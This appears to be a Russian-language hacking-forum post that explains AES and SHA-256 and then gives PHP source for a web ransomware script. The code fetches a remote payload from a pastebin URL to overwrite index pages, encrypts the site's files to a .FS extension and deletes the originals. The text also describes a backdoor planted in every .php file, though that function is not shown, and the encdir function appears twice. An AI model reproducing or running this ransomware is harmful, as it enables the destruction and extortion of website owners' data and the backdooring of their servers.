HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Advanced Encryption Standard - это симметричный алгоритм блочного шифрования.
Блочное шифрование - это когда информация разбивается на блоки и шифруется кратными блоками например, 8-ми или 16 байтам.
Данный алгоритм был принят правительством США в качестве стандарта в результате конкурса, проведенного между технологическими институтами. Надежным ключом считается ключ в 128 бит и больше, напоминаю, что 1 байт = 8 битов ). 128 байт делятся на группы из 8- ми рядом стоящих бит так, чтобы в результате получился массив. Байт - это основной элемент, которым оперирует алгоритм AES. Значение байта задается в шестнадцатеричной системе. Например: 10101100 = 1010 1100 = АС. Старший бит - это единичный бит числа, отвечающий за самую большую степень двойки. Байт делится на 2 группы: старшие биты в данном случае - это 1010 идут первыми, а младшие 1100 - вторыми. Алгоритм основан на подстановках, перестановках и линейных преобразованиях, каждый из которых выполняется на блоках данных по 16 байтов. Все операции выполняются по несколько раз и называются раундами. Во время каждого раунда уникальный ключ рассчитывается из ключа шифрования и включается в вычисления. Основываясь на блочной структуре AES, изменение отдельного бита либо в ключе, либо в блоке открытого текста приводит к совершенно другому блоку зашифрованного текста.
SHA-256 - это хеш функция, созданная Агентством национальной безопасности США весной 2002 года. SHA 256 раздробляет информацию на части по 512 бит и производит ее криптографическое «смешивание», а затем выдаёт 256-битный хеш-код. Всю это процедуру он повторяет 64 раза.
SHA256 имеет длину 64 символа. Каждый символ - это цифра от 0 до 9 и/или буква от A до F, которые формируют 4 бита информации. Таким образом, весь хеш равняется 64 x 4 = 256 битов информации. Именно поэтому в названии функции SHA256 присутствует 256.
PHP-Mcrypt - это интерфейс библиотеки mcrypt, которая поддерживает широкий набор алгоритмов.
Что же теперь перейдем к самому шифровальщику:
Дизайн поменяйте под себя, я знаю, что он тот еще кал.
Перейдем к самому коду:
Код:
echo "<h2><center><font color='black'>Ransomware</font></center><br/></h2>";
function encrypt_decrypt($action, $string, $secret_key, $encrypt_method, $iv) {
$key = hash('sha256', $secret_key); # Генерируем ключ
if( $action == 'encrypt' ) {
return base64_encode(openssl_encrypt($string, $encrypt_method, $key, 0, $iv)); # возвращаем зашифрованную строку
}
else if( $action == 'decrypt' ){
return openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
}
}
function encfile($file){
if (strpos($file, '.htaccess') != false) return;
if (strpos($file, '.FS') != false) return;
if (strpos($file, 'Readme.html') != false) return;
if (strpos($file, 'rans') != false) return;
$code = file_get_contents('http://pastebin.com/raw/P5MskjcX');
if (strpos($file, 'index') != false) { file_put_contents($file, $code); return;}
file_put_contents($file.'.FS', encrypt_decrypt($_POST['encdec'], file_get_contents($file), $_POST['key'], $_POST['mthd'], $_POST['iv']));
unlink($file);
}
- $action - шифровать/дешифровать
- $string - текст файла
- $secret_key - ключ
- $encrypt_method - метод шифрования, о нем чуть позже
- $iv - ненулевой инициализирующий вектор.
Далее функция encdir переходит из директорию в директорию и вписывает в файл зашифрованный код, а функция shell вставляет бэкдор во все файлы с расширением .php
Код:
function encdir($dir, $func){
$j = 0;
$files = array_diff(scandir($dir), array('.', '..'));
foreach ($files as $filecip){
if(is_dir($dir.'\\'.$filecip)){
encdir($dir.'\\'.$filecip, $func);
}else{
$j++;
echo "Encrypted in the directory ".$j.' ';
$findme = 'z';
$findme1 = 'Y';
$pos1 = stripos($func, $findme);
$pos2 = stripos($func, $findme1);
if ($pos1 !== false){
echo "file: ".$dir."\\".$filecip." <font color='white'>Decrypt!!!</font><br>";
}else{
echo "file: ".$dir."\\".$filecip." <font color='#800000'>Encrypt!!!</font><br>";
}
$func($dir.'/'.$filecip);
}
}
}
function encdir($dir, $func){
$j = 0;
$files = array_diff(scandir($dir), array('.', '..'));
foreach ($files as $filecip){
if(is_dir($dir.'\\'.$filecip)){
encdir($dir.'\\'.$filecip, $func);
}else{
$j++;
echo "Encrypted in the directory ".$j.' ';
$findme = 'z';
$findme1 = 'Y';
$pos1 = stripos($func, $findme);
$pos2 = stripos($func, $findme1);
if ($pos1 !== false){
echo "file: ".$dir."\\".$filecip." <font color='white'>Decrypt!!!</font><br>";
}else{
echo "file: ".$dir."\\".$filecip." <font color='#800000'>Encrypt!!!</font><br>";
}
$func($dir.'/'.$filecip);
}
}
}
Я уже описывал работу этого шифровальщика в разделе разработки. Я знаю, что я довольно мало описал алгоритмов и принципы их работы, но тут вам нужно будет включить голову. Говнокод подправлю к утру.
Полный код шифровальщика:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
XOR -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
AES -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
SHA256 -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!